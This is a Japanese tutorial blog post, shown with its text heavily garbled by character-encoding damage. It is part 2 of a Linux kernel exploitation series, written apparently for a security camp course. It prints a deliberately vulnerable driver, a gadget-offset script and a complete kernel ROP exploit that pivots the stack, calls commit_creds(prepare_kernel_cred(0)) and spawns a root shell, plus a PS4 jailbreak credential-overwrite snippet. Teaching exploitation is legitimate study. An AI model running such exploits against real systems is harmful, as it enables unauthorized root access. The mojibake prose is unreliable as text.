ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãå ¥é2 - ç¹æ¨©ã¢ã¼ããå©ç¨ããæ¨©éææ ¼ã®ä»çµã¿ -
0. ã¯ããã«
ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãå
¥éè¨äºpart2ã§ãã
ååpart1ã§ã¯ãç°å¢æ§ç¯ã¨Linuxã«ã¼ãã«ã®ã¡ã¢ãªç®¡çã®åºç¤ã«ã¤ãã¦ãå®éã®ã¨ã¯ã¹ããã¤ãã§ã®ã¦ã¼ã¹ã±ã¼ã¹ãéãã¦èª¬æãã¾ããã
ãã¦ãpart2ã§ã¯å®éã«Linuxã«ã¼ãã«ã¨ã¯ã¹ããã¤ããæ¸ãã¦è¡ãã¾ãã
ã¨ã¯ããæ¢åã®èå¼±æ§ãå©ç¨ããã¨ã¯ã¹ããã¤ããè¨è¿°ããã®ã¯ãã¾ããããããªãã®ã§ãä»åã¯å¦ç¿ç¨ã«èå¼±ãªãã©ã¤ããç¨æããã¨ã¯ã¹ããã¤ããæ¸ãã¦ããã¾ãã
ã¾ãåºæ¬çãªãã¸ãã¯ã¯å®éã®èå¼±æ§ã®ããã¨åããªã®ã§ãæç¾©ã¯ããã¯ãã§ãã
å¦ç¿ç¨ãã©ã¤ãã¨ã¨ã¯ã¹ããã¤ãã³ã¼ãã¯ä»¥ä¸ã®ã¬ãã¸ããªã«ç½®ãã¦ããã¾ãã®ã§ãåç¯ãã¨ã«é次åç
§
ãã¦ãã ããã
1. ç¹æ¨©ã¢ã¼ãã§ã®æ¨©éææ ¼
èå¼±æ§ãæªç¨ãã¦æ¨©éææ ¼ãè¡ãã«ã¯ããã¤ãå¸¸å¥ææ®µããããä¸ã§ãå ¸åçãªç©ãã¹ã¿ãã¯ããã¼ãã®ãããã¡ãªã¼ãã¼ããã¼ãå©ç¨ãã¦ã颿°ã®æ»ãã¢ãã¬ã¹ã颿°ãã¤ã³ã¿ãæ»æè ã®ç¨æããã³ã¼ãã®ã¢ãã¬ã¹ã«æ¸ãæãã¦å¶å¾¡ã奪ã£ããã
単純なスタックバッファオーバーフロー攻撃をやってみる - ももいろテクノロジー
ヒープオーバーフローによるGOT overwriteをやってみる - ももいろテクノロジー
ヒープオーバーフローによるC++ vtable overwriteをやってみる - ももいろテクノロジー
è§£æ¾ããé åã誤ã£ã¦ä½¿ç¨ãã¦ãã¾ãUse After Freeãå©ç¨ããåãé åã«æªæã®ãããã¼ã¿æ§é ã確ä¿ãã¦å©ç¨ãããäºã§ã颿°ãã¤ã³ã¿ãæ¸ãæãããã
use-after-freeによるGOT overwriteをやってみる - ももいろテクノロジー
use-after-freeによるC++ vtable overwriteをやってみる - ももいろテクノロジー
printfã®Format Stringãæªç¨ããäºã§ä»»æã®ã¢ãã¬ã¹ã«ãã¼ã¿ãæ¸ãè¾¼ãããã°ãå©ç¨ããåãã颿°ãã¤ã³ã¿ãæ¸ãæãããã
format string attackによるGOT overwriteをやってみる - ももいろテクノロジー
ã¨ããããããã¾ãã
è¦ããã«ã¾ã¨ããã¨ã
- æ»æè ã¯ããã°ã©ã ã®æå³ããªãã¢ãã¬ã¹ã«å¤ãæ¸ãè¾¼ã(ã¢ãã¬ã¹ãå¤ã¯å¶éãããå ´åãããã¾ãã)
- æ¸ãè¾¼ãå ã¯ããã°ã©ã ãå¶å¾¡ãç§»ãå¯è½æ§ã®ããã颿°ãã¤ã³ã¿ããæ»ãã¢ãã¬ã¹ã«ããã
- æ¸ãè¾¼ãå¤ã¯ãæ»æè ãç¨æããã³ã¼ããROP gadget(å¾è¿°)ã®ã¢ãã¬ã¹ã
ããã§ãæ»æè ã®ç¨æããã³ã¼ãã«ããã°ã©ã ãé£ã°ããã¦æå³ããªãåä½ããããããããã§ãã
ãã¦ããããã£ãèå¼±æ§ãã¤ããã¨ã¯ã¹ããã¤ãææ®µã¨ããã®ã¯ã¦ã¼ã¶ã¼ããã°ã©ã ã ãã§ãªããã«ã¼ãã«ã«ãé©ç¨ã§ãã¾ãã
ã¾ãLinuxãWindowsãOSã¨ã¯è¨ãç¹æ¨©ã¢ã¼ãã§åä½ãã¦ãããã ã®ããã°ã©ã ãªã®ã§ãã°ãããã¾ãããã¦ã¼ã¶ã¼å´ããã·ã¹ãã ã³ã¼ã«çºè¡ããå¤é¨ããã®ãã¼ã¿åä¿¡ãªã©ãå
¥åã¨ãã¦ãã®ãã°ãçªãäºã¯å¯è½ãªããã§ãã
http://thehackernews.com/2016/12/linux-kernel-local-root-exploit.html
åºæ¬çãªã¨ã¯ã¹ããã¤ãã®ãã¸ãã¯ã¯ã¦ã¼ã¶ã¼ç©ºéãã«ã¼ãã«ç©ºéã大差ããã¾ããã
å ãã¦ã«ã¼ãã«ã¯ç¹æ¨©ã¢ã¼ãã§åä½ãã¦ãã¦ããã®æä¸ã«æ»æè
ã«å¶å¾¡ã奪ããã¦ä»»æã³ã¼ãå®è¡ãªã©ãããã¨ã
ã·ã¹ãã å
ã®æé«æ¨©éã§æ»æã³ã¼ããèµ°ãã¾ãããããåãå¨åã§ãã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã®é¢ç½ãã®ä¸ã¤ã§ãã
ä¿ã«è¨ãJailBreakã¨ããã®ããã«ã¼ãã«ã¬ãã«ã§å®è£ ãããã¢ã¯ã»ã¹å¶å¾¡æ©æ§(Jailã¨ãsandboxã¨ãããããå¼ã³æ¹ã¯ããã¾ã)ããã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã«ããç¹æ¨©ã¢ã¼ãã§ã®ã³ã¼ãå®è¡ã§è§£é¤ããç©ã§ãã
ä¾ãã°PlayStation4ã®ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã³ã¼ãä¸ã®JailBreakãè¡ãé¨åã¯ä»¥ä¸ã®ãããªæãã«ãªã£ã¦ã¾ãã
struct thread *td; struct ucred *cred; // Get td pointer asm volatile("mov %0, %%gs:0" : "=r"(td)); // Resolve creds cred = td->td_proc->p_ucred; // Escalate process to root cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; cred->cr_groups[0] = 0; cred->cr_prison = &prison0; // JailBreak
PS4ã¯FreeBSDãã¼ã¹ã§ãã¦ã¼ã¶ã¼ã½ããã¦ã§ã¢ãjailã§ä¿è·ããã¦ãã¾ããã
cred->cr_prison = &prison0;
ã¨ããã¨ãç°¡åã«jailãç¡å¹åã§ãã¾ããããã¯ãã®æ»æã³ã¼ããç¹æ¨©ã¢ã¼ãã§åä½ãã¦ããããã§ãã
ã¦ã¼ã¶ã¼ç©ºéã§ãããªããã°ã©ã æ¸ãã¦ãViolationã§å¼¾ããã¾ãã
2. ã«ã¼ãã«ROP(Return Orientend Programming)
ãã¦ãã§ã¯å®éã«ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã§ãã使ããããã¯ããã¯ã®ä¸ã¤ã¨ãã¦ã¾ãã«ã¼ãã«ROPãç´¹ä»ãã¾ãã
ããããROP(Return Oriented Programming)ã¨ããã®ã¯ãæ»æè
ãã¹ã¿ãã¯ã®å¤ããã¾ãæ¸ãæããäºã§ãããã°ã©ã ã®å¶å¾¡ãROP gadgetã¨å¼ã°ããã³ã¼ãæçã«æ¬¡ã
ã¨é£ã°ããªããæå³ããåä½ãè¡ããããã¯ããã¯ã§ãã
詳細ã¯ä»¥ä¸åç
§ã
inaz2.hatenablog.com
ã¾ãROP gadgetãæ¢ããã¼ã«ã¯rp++ãå©ç¨ãã¾ãã
ä½¿ç¨æ¹æ³ã¯ä»¥ä¸åç
§ã
x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー
ãã®ROPã®ãã¯ããã¯ã¯ç¸å¿ã®èå¼±æ§ãããã°ã«ã¼ãã«ã«å¯¾ãã¦ãéç¨ãã¾ãã
ããããå ç»å ´ããã³ã¼ãã¯å ¨ã¦ä»¥ä¸ã®ã¬ãã¸ããªã«ããã¾ãã®ã§é次åç §ãã¦èªåã§ãåããã¦ã¿ã¦ãã ããã
kernel_exploit_world/chap2 at master · RKX1209/kernel_exploit_world · GitHub
ä»åã¯ä»¥ä¸ã®ãããªèå¼±ãªãã©ã¤ããç¨æãã¾ãã
ropm.c
unsigned long *ops[3]; ... static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { struct drv_req *req; void (*fn)(void); switch(cmd) { case 0: req = (struct drv_req *)args; fn = &ops[req->offset]; fn(); break; case 1: req = (struct drv_req *)args; printk(KERN_INFO "size = %lx\n", req->offset); printk(KERN_INFO "fn is at %p\n", &ops[req->offset]); break; default: break; } return 0; }
ãã®ãã©ã¤ãã«ioctl 0ãçºè¡ããã¨ã弿°ã§æå®ãããoffsetãopsã®ã¢ãã¬ã¹ã«è¶³ããå ´æãcallãã¦ããã¾ãã
ã¾ãioctl 1ããã¨ãæå®ããã弿°ã§é£ã¶å
ã®ã¢ãã¬ã¹ã表示ãã¦ããã¾ãã
ä¾ãã°ãããªæãã§ã¦ã¼ã¶ã¼ããã¯ä½¿ãããã§ãã
trigger.c
#define _GNU_SOURCE #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "ropm.h" #define DEVICE_PATH "/dev/vulndrv" int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 1, &req); return 0; }
ãªãã¨ãé½åã®è¯ããã©ã¤ãã§ãããLinuxã®ãããªè¤éãªã³ã¼ãã«æ½ãèå¼±æ§ã極éã¾ã§ç°¡åã«ã¢ãã«åããç©ã ã¨æã£ã¦
ããã ããã°ãå½ç¶å®éã®ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã§ã¯ãããã«å ãã¦æ§ã
ãªå¶ç´ãä¼´ãããã§ãã....
ã¡ãªã¿ã«dmesgã確èªããã°opsã®ã¢ãã¬ã¹ãåããã¾ãã
$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340
ãã¦ãã§ã¯ãã®å¼æ°ã§æå®ãããã¢ãã¬ã¹ã«é£ãã§ããããã©ã¤ããã©ã®ããã«å©ç¨ãããã
ã¾ãèããããã®ããã©ããå¥ã®é åã«æ»æè
ã®ã³ã¼ã(shellcode)ãç½®ãã¦ããã¦ãããã«é£ã¶ã¨ãããã¤ã§ãã
ãããã©ãã«ç½®ããã§ãããã«ã¼ãã«ã®ä½¿ç¨ãã¦ããã¡ã¢ãªé åã¯ä½¿ãã¾ããããããããã«ã¯ãã©ã¤ããæ¸ãã¦kmallocãªãã§ã«ã¼ãã«ããã¡ã¢ãªã確ä¿ããå¿
è¦ãããããã®æ®µéã§root権éãå¿
è¦ã ããã§ãã
ã§ã¯ã¦ã¼ã¶ã¼ç©ºéã«ç½®ãã¦ããã«é£ã¶ã®ã¯ã©ãã§ããããããã¯ä¿ã«ret2usrã¨å¼ã°ããã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã®ææ³ã§ããã¾ãè¡ãäºãããã¾ãã
ããããIntel SMEPã¨ããããã»ããµã¬ãã«ã®ã»ãã¥ãªãã£æ©æ§ãæå¹ã«ãªã£ã¦ããã¨ãã«ã¼ãã«ç©ºéããã¦ã¼ã¶ã¼ç©ºéã®ã³ã¼ãã«ç´æ¥å®è¡ãç§»ããã¨ãã§ããªããªãã¾ãã
ããã§ã«ã¼ãã«ROPã使ãã¾ããã«ã¼ãã«å
ã®ROP gadgetã«å¶å¾¡ãç§»ãã¦ããäºã§SMEPãåé¿ã§ããããã§ããã
ã¾ãã¯ã«ã¼ãã«å
ã®gadgetãæ¢ãã¦ã¿ã¾ãããã
$ ./rp-lin-x64 --file=/path/to/linux-3.12/vmlinux --rop=3 --unique > gadgets.txt
Linuxã«ã¼ãã«æ¬ä½ã¯vmlinuxã¨å¼ã°ããELFãã¡ã¤ã«ã§ãã«ã¼ãã«ããã«ããããã£ã¬ã¯ããªã®ç´ä¸ã«çæããã¦ãã¾ãã
ããã¤ã«rp++ã使ãäºã§ã«ã¼ãã«å
ã®ROP gadgetãæ¢ãã¾ãã
è¦ã¤ããgadgetã¯å¾ããåç
§ã§ããããgadgets.txtã«æ¸ãåºãã¦ããã¾ãã
ãã¦ãgadgetã¯éãã¾ãããçµå±ãã©ã¤ãã®ã³ã¼ãã¸ã£ã³ãã使ã£ã¦ã©ãã«é£ã¹ã°ããã§ããããï¼
ããããROPã¨ããã®ã¯æ»æè
ããããããã¹ã¿ãã¯ã«gadgetã®ã¢ãã¬ã¹ãè¼ãã¦ããå¿
è¦ãããã¾ããããä»åã¯ã«ã¼ãã«å
ã®ã¹ã¿ãã¯ã«gadgetã®ã¢ãã¬ã¹ãè¼ãã¦ããäºã¯ã§ãã¾ããã
ããã§ãã¦ã¼ã¶ã¼ç©ºéã§ãããããã¡ã¢ãªé åã確ä¿ãã¦ãããStack Pivotãã¯ããã¯ã使ããã¨ã§ã«ã¼ãã«å ã®ã¹ã¿ãã¯ã¢ãã¬ã¹ããã®é åã«ããããã¦ããã®ãè¯ãããã§ãã
Stack Pivotã«ã¤ãã¦ã¯ä»¥ä¸åç §ã
ã§ä»åStack Pivotã«ä½¿ããããªgadgetã¯ã¨ããã¨ã
0xffffffff81000085 : xchg eax, esp ; ret 0xffffffff81576254 : xchg eax, esp ; ret 0x103d 0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8 0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8 0xffffffff81762182 : xchg eax, esp ; ret 0x12eb 0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9 0xffffffff81a196fc : xchg eax, esp ; ret 0x1408 0xffffffff814bd0fd : xchg eax, esp ; ret 0x148 0xffffffff8119e39b : xchg eax, esp ; ret 0x148d 0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c 0xffffffff810db968 : xchg eax, esp ; ret 0x14ff 0xffffffff81d5953e : xchg eax, esp ; ret 0x1589 0xffffffff81951aee : xchg eax, esp ; ret 0x1d07 0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c ...
(gadgetã®ã¢ãã¬ã¹ã¯ã«ã¼ãã«ã®ãã¼ã¸ã§ã³çã§éãã¾ã)
xchg eax, espç³»ã使ãã¾ãããªããã¨ããã¨ä»åã®ãã©ã¤ãã®ã¢ã»ã³ããªã³ã¼ããè¦ãã¨ã
fn()å¼ã³åºãã¨ããã®ã¯ã
call *%rax
ã¨ãªã£ã¦ãã¾ãã
ã¤ã¾ããopsã«offsetãè¶³ããã¢ãã¬ã¹ã¯raxã«å
¥ã£ã¦ãããã§ãããã¨ãã°ãã®ã¢ãã¬ã¹ãrax=0xffffffff81000085ã«ããã¨ãã¾ãããã
ããã¨eaxã¯ãã®ä¸ä½32bitã®0x81000085ã«ãªããxchg eax,espãå®è¡ããã¨ã¹ã¿ãã¯(rsp)ã0x81000085ã«ãªãã¾ãã
ã¤ã¾ããããããã0x81000085ã®é åã«mmapã§ã¡ã¢ãªã確ä¿ãã¦ããã°ããããã¹ã¿ãã¯ã¨ãã¦æ±ãããããã§ãã
ãããä¸ä½32bitãããªãã¦ãxchg rax, rspã¨ãã§ä¸¸ãã¨ã¹ã¿ãã¯ã¢ãã¬ã¹ã«ããã°è¯ãã®ã§ã¯ï¼ã¨æãããããããã¾ãããããã¾ãããã¾ããã
(Linux x64ã¡ã¢ãªãããã³ã°)
64bitでのアドレス空間 - Linuxカーネルメモ
ä¸å³ãè¦ãã¨åããããã«ãx64ã«ãããLinuxã®ã¡ã¢ãªãããã³ã°ã¯ã
ã¦ã¼ã¶ã¼ç©ºé: 0x0000000000000000ï½0x00007fffffffffff
ã«ã¼ãã«ç©ºé: 0xffff880000000000ï½
ã¨ãªã£ã¦ããã0xffffffff81000085ãã¦ã¼ã¶ã¼ç©ºéããmmapããäºã¯ã§ãã¾ããããã£ã¦ä¸ä½32bitã®0x81000085ã§ããã°ãã¦ã¼ã¶ã¼ç©ºéå ãªã®ã§mmapå¯è½ãªããã§ãããããraxã§ãªãeaxã使ãçç±ã§ãã
ãã¨ã¯ãã®mmapããé åã«gadgetã®ã¢ãã¬ã¹ãæ¸ãè¾¼ãã§è¡ãã°OKã§ãã
ãã¦ãããã²ã¨ã¤æ³¨æããå¿
è¦ãããã®ããä»åROP gadgetã¯ã©ãã使ã£ã¦ãè¯ãããã§ã¯ããã¾ããã
ãªããã¨ããã¨ãops+offsetã¨ãã¦æå®ã§ããã¢ãã¬ã¹ã¯ã«ã¼ãã«ã®å¶ç´ä¸8byteã§ã¢ã©ã¤ã¡ã³ãããã¦ãå¿
è¦ãããããã§ãã
8byteã¢ã©ã¤ã¡ã³ããããgadgetã®ã¿è¡¨ç¤ºããã¹ã¯ãªããã¨ãã¦find_offset.pyã使ã£ã¦ãã ããã
find_offset.py
#!/usr/bin/env python import sys base_addr = int(sys.argv[1], 16) f = open(sys.argv[2], 'r') # gadgets for line in f.readlines(): target_str, gadget = line.split(':') target_addr = int(target_str, 16) # check alignment if target_addr % 8 != 0: continue offset = (target_addr - base_addr) / 8 print 'offset =', (1 << 64) + offset print 'gadget =', gadget.strip() print 'stack addr = %x' % (target_addr & 0xffffffff) break
ãã®ã¹ã¯ãªããã¯ç¬¬ä¸å¼æ°ã«ãã¼ã¹ã¨ãªãopsã®ã¢ãã¬ã¹ãã第äºå¼æ°ã«ROP gadgetãè¨é²ããã¦ãgadgest.txtãæå®ããã¨ã
8byteã¢ã©ã¤ã¡ã³ããããgadgetã®ã¿ãæ¢ãã¦offsetå¤ã¨å
±ã«è¡¨ç¤ºãã¦ããã¾ãã
$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340 $ ./find_offset.py ffffffffa02e9340 gadgets.txt ... offset = 18446744073644231139 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258 ...
大éã®gadgetã表示ãããã®ã§ãgrep 'xchg eax, esp'ãªã©ãã¦ãæ±ããgadgetã®offsetå¤ã表示ãã¾ãããã
ãã¦ãããã§Stack Pivotãå®äºãã¾ãããå¾ã¯ã©ããªgadgetãå®è¡ããã¦ãããã§ããã
ã«ã¼ãã«å
ã§ç¾å¨å®è¡ä¸ã®ããã»ã¹ã«root権éãä»ä¸ããã«ã¯ä»¥ä¸ã®ãããªã³ã¼ããå®è¡ããå¿
è¦ãããã¾ãã
commit_creds(prepare_kernel_cred(0))
ããã¤ãROP gadgetã使ã£ã¦ã«ã¼ãã«å ã§å®è¡ããã¦ã¦ã¼ã¶ã¼ç©ºéã«æ»ãã°root権éãä»ä¸ããã¾ãã
ããã¾ã§æ¥ãã°å®éã®ã¨ã¯ã¹ããã¤ãã³ã¼ããè¦ã¦ã¿ã¾ãããã
exploit.c
int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } //offset = 18446744073577125016 req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); prepare_kernel_cred = 0xffffffff8109bac0; commit_creds = 0xffffffff8109b710; printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; fprintf(stdout, "stack address = 0x%lx\n", stack_addr); mmap_addr = stack_addr & 0xffff0000; assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff8138613fUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= prepare_kernel_cred; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff814ab470UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= commit_creds + 6; // commit_creds() + 2 instructions *fake_stack ++= 0xffffffff810d8f5bUL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81060124UL; // swapgs ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff8177af17UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; }
fake_stackã¨ããã®ãã¦ã¼ã¶ã¼ç©ºéã«ç¢ºä¿ããã¹ã¿ãã¯é åã§Stack Pivotã§ã«ã¼ãã«ã®rspããã®å¤ã«è¨å®ããããã§ãã
ãã¦ãfake_stack ++= ....ã¨ãªã£ã¦ããã®ãROP gadgetãç©ãã§ãã£ã¦ããé¨åã§ããå³è§£ããã¨ã¹ã¿ãã¯ã¯ä»¥ä¸ã®ããã«ãªãã¾ãã
Linux Kernel ROP - Ropping your way to # (Part 1)
(ãã¿ã¾ãããå³ä¸ã®ã¢ãã¬ã¹ã¨ã³ã¼ãã®ã¢ãã¬ã¹ã対å¿ãã¦ãã¾ããããããã¯å¼ç¨å
ã®ã«ã¼ãã«ã®ãã¼ã¸ã§ã³ã¨éãããã§ããä¸èº«ã®å½ä»¤åãè¦ã¦é ããã¨å¹¸ãã§ãã)
ãã®ROPã¯é çªã«ä»¥ä¸ã®ããã«å®è¡ããã¦ããã¾ãã
- pop %rdiã§ rdi = NULLãè¨å®ããã
- prepare_kernel_cred(%rdi == NULL)ãå®è¡
- pop %rdxã§ rdx = commit_credsã®ã¢ãã¬ã¹
- mov %rax, %rdiã§prepare_kernel_credã®å®è¡çµæ(rax)ãrdiã«è¨å®ã call %rdx(= commit_cred)
ããã§commit_creds(prepare_kernel_cred(0))ãå®è¡ããã¾ãã
ããã§ãã§ããããã»ã¹ã«root権éãä»ä¸ããã¾ãããå¾ã¯ã¦ã¼ã¶ã¼ç©ºéã«æ»ãã¾ãããã
ã¦ã¼ã¶ã¼ç©ºéã«æ»ãã®ã¯exploit.cã®ä»¥ä¸ã該å½ãã¾ãã
(ã¦ã¼ã¶ã¼ç©ºéã«æ»ãå¦ç)
unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; unsigned long prepare_kernel_cred; unsigned long commit_creds; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); } void shell(void) { printf ("get shell\n"); if(!getuid()) system("/bin/sh"); exit(0); } ... save_state(); ... *fake_stack ++= 0xffffffff8177af17UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */
ã¾ãã¯fake_stackã®ROP gadgetã®ç¶ããè¦ã¦ã¿ã¾ãããã
iretqã¨ããå½ä»¤ã®gadgetãè¼ãã¦ããããã®ä¸ã«ããã«shell颿°ã¸ã®ã¢ãã¬ã¹ã
user_cs,user_rflags...ã¨ç¶ãã¾ãã
ãã®iretqå½ä»¤ããããã«ã¼ãã«ç©ºéããã¦ã¼ã¶ã¼ç©ºéã«æ»ãããã®å½ä»¤ã§ãã
iretã«ã¤ãã¦ã¯è©³ããã¯ä»¥ä¸åç
§ã
åç´ã«åä½ã ã説æããã¨ãã¹ã¿ãã¯ã«ä»¥ä¸ã®ããã«ã¬ã¸ã¹ã¿ãç©ãã§iretãå®è¡ããã¨ã
+------------+ | | | RIP | | CS | | EFLAGS | | RSP | | SS | | | +------------+
ããããã®ã¬ã¸ã¹ã¿ããã®ã¹ã¿ãã¯ã«ç©ãã§ããå¤ã«ãã¦ããã¾ãã
ãã£ã¦shell颿°ã®ã¢ãã¬ã¹ãRIPã¨ãã¦ç©ãã§ããã¨ãiretå®è¡ç´å¾RIPã¯shell颿°å
é ã«è¨å®ããã¦å¶å¾¡ãç§»ãã/bin/shãèµ·åããããã§ãã
å ã»ã©ã«ã¼ãã«ç©ºéã§commit_credããã¦ããã®ã§ãããã»ã¹ã¯root権éã«ãªã£ã¦ããããã§rootã®ã·ã§ã«èµ·åå®äºã§ãã
ã¡ãªã¿ã«iretqå½ä»¤ã¯ä»¥ä¸ã®ããã«ãã¦ã«ã¼ãã«å ããæ¢ãã¦ãã¦ãã ããã
objdump -j .text -d /path/to/linux-3.12/vmlinux | grep iretq | head -1
3. ãããã«
ãã¦ãä»åã¯ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã§ãã使ãã«ã¼ãã«ROPã«ã¤ãã¦èª¬æãã¾ããã
ä»å¹´ã®ã»ãã¥ãªãã£ãã£ã³ãåå è
ã§ãD2-3ã«ã¼ãã«ã¨ã¯ã¹ããã¤ãã«ããã·ã¹ãã æ¨©é奪å ããåè¬ããæ¹ã¯ä¸è¨ã®ROPã¨ã¯ã¹ããã¤ããçè§£ãã¦èªåã®ç°å¢ã§åããrootæ¨©éææ ¼ã¾ã§ç¢ºèªãã¦ããã¦ãã ããã
part1ã§æ§ç¯ãã¦é ããç°å¢ã§ã¯ROP gadgetã®ã¢ãã¬ã¹ãä¸ã¨ããªãéãã¯ããªã®ã§ãèªåã§rp++çã§èª¿ã¹ã¦ã¢ãã¬ã¹ã夿´ãããã¾ãåããã¦ã¿ã¦ãã ããã